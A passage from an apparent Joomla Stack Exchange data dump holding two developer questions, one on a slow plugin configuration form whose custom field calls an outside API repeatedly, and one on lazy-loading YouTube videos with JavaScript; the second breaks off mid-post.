LastActivityDate="2023-05-02T11:56:10.000" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33018" PostTypeId="1" CreationDate="2023-05-02T17:30:15.430" Score="1" ViewCount="21" Body="&lt;p&gt;I have some options to configure a plugin of mine. These options contain one subform field, that can be repeated. The purpose of the field is to match names of one type to ones of another type.&#xA;The first type (Field 1) has around 170 names and the second (Field 2) around 500 to choose from.&lt;/p&gt;&#xA;&lt;p&gt;Also i need to create a default matching value so there is no need matching stuff after installing the plugin.&lt;/p&gt;&#xA;&lt;p&gt;After i did this the whole browser almost crashed and site needed around two minutes until it was usable. So first i deactivated the &lt;code&gt;fancy-select&lt;/code&gt; Layout to make it faster, but it only helped a little.&lt;/p&gt;&#xA;&lt;p&gt;Here is a piece of the plugin config that is making the trouble:&lt;br /&gt;&#xA;&lt;em&gt;(don't miss the long default value)&lt;/em&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension type=&amp;quot;plugin&amp;quot; group=&amp;quot;system&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;    ...&#xA;    &amp;lt;config&amp;gt;&#xA;        &amp;lt;fields name=&amp;quot;params&amp;quot; addfieldprefix=&amp;quot;Joomla\Plugin\System\MyPlugin\Field&amp;quot;&amp;gt;&#xA;            &amp;lt;fieldset name=&amp;quot;attributes&amp;quot;&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;ma&amp;quot; type=&amp;quot;subform&amp;quot; multiple=&amp;quot;true&amp;quot; layout=&amp;quot;joomla.form.field.subform.repeatable&amp;quot; buttons=&amp;quot;add,remove&amp;quot; groupByFieldset=&amp;quot;false&amp;quot; label=&amp;quot;Infos&amp;quot; hiddenLabel=&amp;quot;true&amp;quot; default='{&amp;quot;ma1&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;SMOKING_NOT_ALLOWED&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;NO SMOKING&amp;quot;},&amp;quot;ma2&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;PETS_ALLOWED&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;ANIMALS&amp;quot;},&amp;quot;ma3&amp;quot;:{ &amp;quot;ha&amp;quot;:&amp;quot;VIEW_OCEAN&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;OCEAN VIEW&amp;quot;},&amp;quot;ma4&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;VIEW_LAKE&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;LAKE VIEW&amp;quot;},&amp;quot;ma5&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;BARRIER_FREE &amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;WHEELCHAIR&amp;quot;},&amp;quot;ma6&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;POOL&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;SWIMMING POOL&amp;quot;},&amp;quot;ma7&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;POOL_PRIVATE&amp;quot;,&amp;quot;fa&amp;quot;: &amp;quot;PRIVPOOL&amp;quot;},&amp;quot;ma8&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;WHIRLPOOL&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;WHIRLPOOL&amp;quot;},&amp;quot;ma9&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;INTERNET&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;ENTINTNET&amp;quot;},&amp;quot; ma10&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;INTERNET_WIFI&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;WLAN&amp;quot;},&amp;quot;ma11&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;SAUNA&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;SAUNA&amp;quot;},&amp;quot;ma12&amp;quot;:{&amp;quot;ha &amp;quot;:&amp;quot;FIREPLACE&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;FIREPLACE&amp;quot;},&amp;quot;ma13&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;CHILDFRIENDLY&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;CHILD FRIEND&amp;quot;},&amp;quot;ma14&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;RENOVATED&amp;quot;, &amp;quot;fa&amp;quot;:&amp;quot;MODERN&amp;quot;},&amp;quot;ma15&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;LUXURY&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;LUXURY&amp;quot;},&amp;quot;ma16&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;WASHER&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;WASHER &amp;quot;},&amp;quot;ma17&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;DRYER&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;DRYER&amp;quot;},&amp;quot;ma18&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;HEATING&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;HEATING&amp;quot;},&amp;quot;ma19&amp;quot; :{&amp;quot;ha&amp;quot;:&amp;quot;HEATING_UNDERFLOOR&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;BODHEIZUNG&amp;quot;},&amp;quot;ma20&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;AIR_CONDITION&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;KLIMA&amp;quot;},&amp;quot;ma21&amp;quot;:{&amp;quot;ha&amp;quot;: &amp;quot;VENTILATOR&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;VENTILATOR&amp;quot;},&amp;quot;ma22&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;SOLARIUM&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;SOLARIUM&amp;quot;},&amp;quot;ma23&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;TV&amp;quot;,&amp;quot;fa &amp;quot;:&amp;quot;TV&amp;quot;},&amp;quot;ma24&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;TV_CABLE-K&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;TV&amp;quot;},&amp;quot;ma25&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;TV_SATELLITE-S&amp;quot;,&amp;quot;fa&amp;quot;: &amp;quot;TV&amp;quot;},&amp;quot;ma26&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;TV_DIGITAL-D&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;TV&amp;quot;},&amp;quot;ma27&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;DVD_PLAYER&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;DVD&amp;quot;} ,&amp;quot;ma28&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;CD_PLAYER&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;CD&amp;quot;},&amp;quot;ma29&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;RADIO&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;RADIO&amp;quot;},&amp;quot;ma30&amp;quot;:{ &amp;quot;ha&amp;quot;:&amp;quot;COMPUTER&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;PC&amp;quot;},&amp;quot;ma31&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;TELEPHONE&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;TEL&amp;quot;},&amp;quot;ma32&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;ALARM_HOUSE &amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;ALARM&amp;quot;},&amp;quot;ma33&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;ROOMS_BATHROOM&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;BZ&amp;quot;},&amp;quot;ma34&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;ROOMS_BEDROOM&amp;quot;,&amp;quot;fa&amp;quot;: &amp;quot;SZ&amp;quot;},&amp;quot;ma35&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;SAFE&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;SAFE&amp;quot;},&amp;quot;ma36&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;BALCONY&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;BALKONY&amp;quot;},&amp;quot; ma37&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;TERRACE&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;TERRACE&amp;quot;},&amp;quot;ma38&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;GARDEN&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;GARDEN&amp;quot;},&amp;quot;ma39&amp;quot;:{&amp;quot;ha &amp;quot;:&amp;quot;GARDEN_FURNITURE&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;GARDEN FURNITURE&amp;quot;},&amp;quot;ma40&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;POOL_OUTDOOR&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;RELAX&amp;quot;},&amp;quot;ma41&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;GAME_CONSOLE_PS3&amp;quot;, &amp;quot;fa&amp;quot;:&amp;quot;PLAYSTAT&amp;quot;},&amp;quot;ma42&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;GAME_CONSOLE_PS4&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;PLAYSTAT&amp;quot;},&amp;quot;ma43&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;PLAYGROUND&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;PLAYGROUND &amp;quot;},&amp;quot;ma44&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;GRILL&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;GRILL&amp;quot;},&amp;quot;ma45&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;PARKING&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;ENTPARKP&amp;quot;},&amp;quot;ma46&amp;quot; :{&amp;quot;ha&amp;quot;:&amp;quot;PARKING_SPOT&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;PARKING PLATZ&amp;quot;},&amp;quot;ma47&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;BICYCLE_RENTALS_ON_SITE&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;FAHRRADNU&amp;quot;},&amp;quot;ma48&amp;quot;:{&amp;quot;ha&amp;quot;: &amp;quot;KITCHEN&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;KUECHE&amp;quot;},&amp;quot;ma49&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;OVEN&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;OVEN&amp;quot;},&amp;quot;ma50&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;COOKTOP&amp;quot;,&amp;quot;fa &amp;quot;:&amp;quot;STOVE&amp;quot;},&amp;quot;ma51&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;MICROWAVE&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;MICRO&amp;quot;},&amp;quot;ma52&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;FRIDGE&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;FRIDGE&amp;quot;} ,&amp;quot;ma53&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;ICE_MAKER&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;EISSCHR&amp;quot;},&amp;quot;ma54&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;DISHWASHER&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;SPUELMA&amp;quot;},&amp;quot;ma55&amp;quot;:{ &amp;quot;ha&amp;quot;:&amp;quot;WATER_HEATER&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;KETTLE&amp;quot;},&amp;quot;ma56&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;COFFEE_MACHINE&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;COFFEE&amp;quot;},&amp;quot;ma57&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;TOASTER &amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;TOASTER&amp;quot;},&amp;quot;ma58&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;MINIBAR&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;MINIBAR&amp;quot;},&amp;quot;ma59&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;KETTLE&amp;quot;,&amp;quot;fa&amp;quot;: &amp;quot;KETTLE&amp;quot;},&amp;quot;ma60&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;SHOWER&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;SHOWER&amp;quot;},&amp;quot;ma61&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;BATHTUB&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;BATHTUB&amp;quot;},&amp;quot; ma62&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;SEPARATE_TOILET&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;WC&amp;quot;},&amp;quot;ma63&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;VACUUM_CLEANER&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;STAUBSAUG&amp;quot;},&amp;quot;ma64&amp;quot;:{&amp;quot;ha &amp;quot;:&amp;quot;BIKE_RENTAL&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;FAHRRADNU&amp;quot;},&amp;quot;ma65&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;BOAT_RENTAL&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;ENTBOOTV&amp;quot;},&amp;quot;ma66&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;RESTAURANT&amp;quot;, &amp;quot;fa&amp;quot;:&amp;quot;ENTRES&amp;quot;},&amp;quot;ma67&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;MINIMARKET&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;ENTSUPERM&amp;quot;},&amp;quot;ma68&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;FAMILY_FRIENDLY&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;FAMILY &amp;quot;},&amp;quot;ma69&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;WATER_SPORTS&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;WATER SPORTS&amp;quot;},&amp;quot;ma70&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;SKI_VACATION&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;SKI&amp;quot;},&amp;quot;ma71&amp;quot; :{&amp;quot;ha&amp;quot;:&amp;quot;BEACH_VACATION&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;BEACH&amp;quot;},&amp;quot;ma72&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;WELLNESS&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;WELLNESS&amp;quot;},&amp;quot;ma73&amp;quot;:{&amp;quot;ha&amp;quot;: &amp;quot;GOLF&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;GOLF&amp;quot;},&amp;quot;ma74&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;FISHING&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;FISHING&amp;quot;},&amp;quot;ma75&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;HORSEBACK_RIDING&amp;quot;,&amp;quot;fa &amp;quot;:&amp;quot;RIDING&amp;quot;},&amp;quot;ma76&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;WATERPARK&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;EINTRWPARK&amp;quot;},&amp;quot;ma77&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;GOLF_COURT&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;ENTGOLF&amp;quot;} ,&amp;quot;ma78&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;GREEN_PROPERTY&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;GREEN_ELECTRICITY&amp;quot;},&amp;quot;ma79&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;LAKE_FRONT&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;LAKE VIEW&amp;quot;},&amp;quot;ma80&amp;quot;:{ &amp;quot;ha&amp;quot;:&amp;quot;OCEAN_FRONT&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;OCEAN_VIEW&amp;quot;},&amp;quot;ma81&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;RECYCLING_GLASS&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;WASTESEP_GLASS&amp;quot;},&amp;quot;ma82&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;RECYCLING_PAPER &amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;WASTESEP_PAPER&amp;quot;},&amp;quot;ma83&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;RECYCLING_PLASTIC&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;WASTESEP_PLASTIC&amp;quot;},&amp;quot;ma84&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;RECYCLING_ORGANIC&amp;quot;,&amp;quot;fa&amp;quot;: &amp;quot;WASTESEP_ORGANIC&amp;quot;},&amp;quot;ma85&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;ENERGY_SAVING_WIND_POWER&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;WIND_TURBINE&amp;quot;},&amp;quot;ma86&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;ENERGY_SOLAR_THERMAL_PANELS&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;SOLAR_THERMAL&amp;quot;},&amp;quot; ma87&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;ENERGY_HEAT_PUMPS&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;HEAT_PUMPS&amp;quot;},&amp;quot;ma88&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;ENERGY_GREEN_ELECTRICITY_PROVIDER&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;GREEN_ELECTRICITY&amp;quot;},&amp;quot;ma89&amp;quot;:{&amp;quot;ha &amp;quot;:&amp;quot;ENERGY_GEOTHERMICS&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;GEOTHERMAL_ENERGY&amp;quot;},&amp;quot;ma90&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;ENERGY_INFRARED_HEATING_PANELS&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;INFRARED_HEATING&amp;quot;},&amp;quot;ma91&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;INSULATION_WALL&amp;quot;, &amp;quot;fa&amp;quot;:&amp;quot;INSULATED_FACADE&amp;quot;},&amp;quot;ma92&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;INSULATION_FLOOR&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;INSULATED_FLOORS&amp;quot;},&amp;quot;ma93&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;WATER_SAVING_SHOWER&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;WATERSAVING_SHOWERS &amp;quot;},&amp;quot;ma94&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;WATER_SAVING_TOILET&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;WATERSAVING_TOILETS&amp;quot;},&amp;quot;ma95&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;WATER_SAVING_TAPS&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;WATERSAVING_TAPS&amp;quot;},&amp;quot;ma96&amp;quot; :{&amp;quot;ha&amp;quot;:&amp;quot;RAINWATER_TREATMENT&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;RAINWATER_HARVESTING&amp;quot;},&amp;quot;ma97&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;OWN_PRODUCE_VEGETABLES&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;OWN_VEGETABLES&amp;quot;},&amp;quot;ma98&amp;quot;:{&amp;quot;ha&amp;quot;: &amp;quot;OWN_PRODUCE_FRUITS&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;OWN_FRUIT&amp;quot;},&amp;quot;ma99&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;OWN_PRODUCE_EGGS&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;OWN_EGGS&amp;quot;},&amp;quot;ma100&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;SHOPPING&amp;quot;,&amp;quot;fa &amp;quot;:&amp;quot;ENTEIN&amp;quot;},&amp;quot;ma101&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;SKIING&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;SKI&amp;quot;},&amp;quot;ma102&amp;quot;:{&amp;quot;ha&amp;quot;:&amp;quot;WINERY&amp;quot;,&amp;quot;fa&amp;quot;:&amp;quot;WINERIES&amp;quot;} }'&amp;gt;&#xA;                    &amp;lt;form&amp;gt;&#xA;                        &amp;lt;fieldset name=&amp;quot;section1&amp;quot; label=&amp;quot;Section1&amp;quot;&amp;gt;&#xA;                            &amp;lt;field name=&amp;quot;ha&amp;quot; label=&amp;quot;Field 1&amp;quot; type=&amp;quot;mytypes1&amp;quot; la__yout=&amp;quot;joomla.form.field.list-fancy-select&amp;quot; hiddenLabel=&amp;quot;true&amp;quot; /&amp;gt;&#xA;                            &amp;lt;field name=&amp;quot;fa&amp;quot; label=&amp;quot;Field 2&amp;quot; type=&amp;quot;mytypes2&amp;quot; la__yout=&amp;quot;joomla.form.field.list-fancy-select&amp;quot; hiddenLabel=&amp;quot;true&amp;quot; /&amp;gt;&#xA;                        &amp;lt;/fieldset&amp;gt;&#xA;                    &amp;lt;/form&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;So I forgot one of the custom fields is calling an outside API to get the 500 values. Of course, that should be done only once, but I don't get how a singleton call can be done inside this custom field API call.&lt;/p&gt;&#xA;&lt;p&gt;Here is the important piece of code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;namespace Joomla\Plugin\System\Ha\Field;&#xA;&#xA;use Joomla\CMS\Uri\Uri;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Http\HttpFactory;&#xA;use Joomla\CMS\Form\Field\ListField;&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;class HaField extends ListField&#xA;{&#xA;    protected $type = 'Ha';&#xA;    protected static $options = [];&#xA;&#xA;    public function getOptions()&#xA;    {&#xA;        // static use of only once called API is not working&#xA;        if (empty($this-&amp;gt;options)) {&#xA;            $this-&amp;gt;options = array(&#xA;                'Content-Type' =&amp;gt; 'application/json',&#xA;            );&#xA;            $this-&amp;gt;http = HttpFactory::getHttp($this-&amp;gt;options);&#xA;            $this-&amp;gt;base_url = 'https://someservice.com';&#xA;            $this-&amp;gt;options['api-key'] = 'xxxxxxxxxxxxxx';&#xA;            $this-&amp;gt;url_params = [];&#xA;            $this-&amp;gt;url_params['user'] = '12345';&#xA;&#xA;            $url = Uri::getInstance($this-&amp;gt;base_url . '/v1/fields');&#xA;            $url-&amp;gt;setQuery($this-&amp;gt;url_params);&#xA;            $options = [];&#xA;&#xA;            try {&#xA;                $response = $this-&amp;gt;http-&amp;gt;get($url-&amp;gt;toString(), $this-&amp;gt;options);&#xA;                $results = json_decode($response-&amp;gt;getBody());&#xA;&#xA;                foreach ($results as $node) {&#xA;                    $options[] = HTMLHelper::_('select.option', $node, $node);&#xA;                }&#xA;&#xA;            } catch (RuntimeException $e) {&#xA;                $response = null;&#xA;            }&#xA;&#xA;            $this-&amp;gt;options = array_merge(parent::getOptions(), $options);&#xA;        }&#xA;&#xA;        return $this-&amp;gt;options;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="12352" LastEditDate="2023-05-02T22:34:32.667" LastActivityDate="2024-01-28T12:04:10.507" Title="Super slow editing mask because repeatable custom field is in subform and calls API many times" Tags="|plugin|custom-field|xml|restful-api|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33019" PostTypeId="1" AcceptedAnswerId="33024" CreationDate="2023-05-02T18:01:04.737" Score="2" ViewCount="224" Body="&lt;p&gt;I am creating a website for a composer to include a page in a blog style with YouTube videos of concerts. I am attempting to block all the code for the videos from automatically loading on the page (and to warn of remote cookies) unless someone clicks/taps to watch the video. There is a custom field which contains the YouTube video ID, eg aBC_1deF_gH, and I created a new menu item type called 'Watch' in which I have added the following code to the watch_item.php file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;ytcover&amp;quot;&amp;gt;Click to watch this video&amp;lt;/div&amp;gt;&lt;/code&gt;&#xA;(It's not styled, yet)&lt;/p&gt;&#xA;&lt;p&gt;At the end of the file I have added the following, which was based on this post: &lt;a href=&quot;https://joomla.stackexchange.com/questions/24061/video-lazy-loading-skipping-first-video-in-every-list&quot;&gt;video lazy loading skipping first video in list&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;( function() {&#xA;&#xA;var youtube = document.querySelectorAll( &amp;quot;.ytcover&amp;quot; );&#xA;&#xA;for (var i = 0; i &amp;lt; youtube.length; i++) {&#xA;&#xA;youtube[i].addEventListener( &amp;quot;click&amp;quot;, function() {&#xA;&#xA;var iframe = document.createElement( &amp;quot;iframe&amp;quot; );&#xA;                iframe.setAttribute( &amp;quot;frameborder&amp;quot;, &amp;quot;0&amp;quot; );&#xA;                iframe.setAttribute( &amp;quot;allowfullscreen&amp;quot;, &amp;quot;&amp;quot; );&#xA;                iframe.setAttribute( &amp;quot;src&amp;quot;, &amp;quot;https://www.youtube.com/embed/aBC_1deF_gH?rel=0&amp;amp;showinfo=0&amp;amp;autoplay=1&amp;quot; );&#xA;this.innerHTML = &amp;quot;&amp;quot;;&#xA;            this.appendChild( iframe );&#xA;        } );    &#xA;    };&#xA;} )();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As you can see, the video code [not a real one here] is hard-coded into the JavaScript but I did this to test that the JavaScript works, which it does.&lt;/p&gt;&#xA;&lt;p&gt;What I really want to have here is something like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;                iframe.setAttribute( &amp;quot;src&amp;quot;, &amp;quot;https://www.youtube.com/embed/&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;jcfields[1]-&amp;gt;value; ?&amp;gt;?rel=0&amp;amp;showinfo=0&amp;amp;autoplay=1&amp;quot; );&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is this possible and, if so, how?&lt;/p&gt;&#xA;&lt;p&gt;Edit - further tests:&lt;/p&gt;&#xA;&lt;p&gt;I have also tried adding this as a shortcut:&#xA;&lt;code&gt;$ytubeId = $this-&amp;gt;item-&amp;gt;jcfields[1]-&amp;gt;value;&lt;/code&gt; which does display correctly when echoed in a plain div.&lt;/p&gt;&#xA;&lt;p&gt;So I modified the script to this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;( function() {&#xA;&#xA;var youtube = document.querySelectorAll( &amp;quot;.ytcover&amp;quot; );&#xA;&#xA;for (var i = 0; i &amp;lt; youtube.length; i++) {&#xA;var ytid = &amp;quot;https://www.youtube.com/embed/&amp;lt;?php echo $ytubeId; ?&amp;gt;?rel=0&amp;amp;showinfo=0&amp;amp;autoplay=1&amp;quot;;&#xA;youtube[i].addEventListener( &amp;quot;click&amp;quot;, function() {&#xA;&#xA;&#xA;var iframe = document.createElement( &amp;quot;iframe&amp;quot; );&#xA;                iframe.setAttribute( &amp;quot;frameborder&amp;quot;, &amp;quot;0&amp;quot; );&#xA;                iframe.setAttribute( &amp;quot;allowfullscreen&amp;quot;, &amp;quot;&amp;quot; );&#xA;                iframe.setAttribute( &amp;quot;src&amp;quot;, ytid );&#xA;this.innerHTML = &amp;quot;&amp;quot;;&#xA;            this.appendChild( iframe );&#xA;        } );    &#xA;    };&#xA;} )();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But whilst the resulting script in the html is showing the correct URL, i.e.&#xA;&lt;code&gt;var ytid = 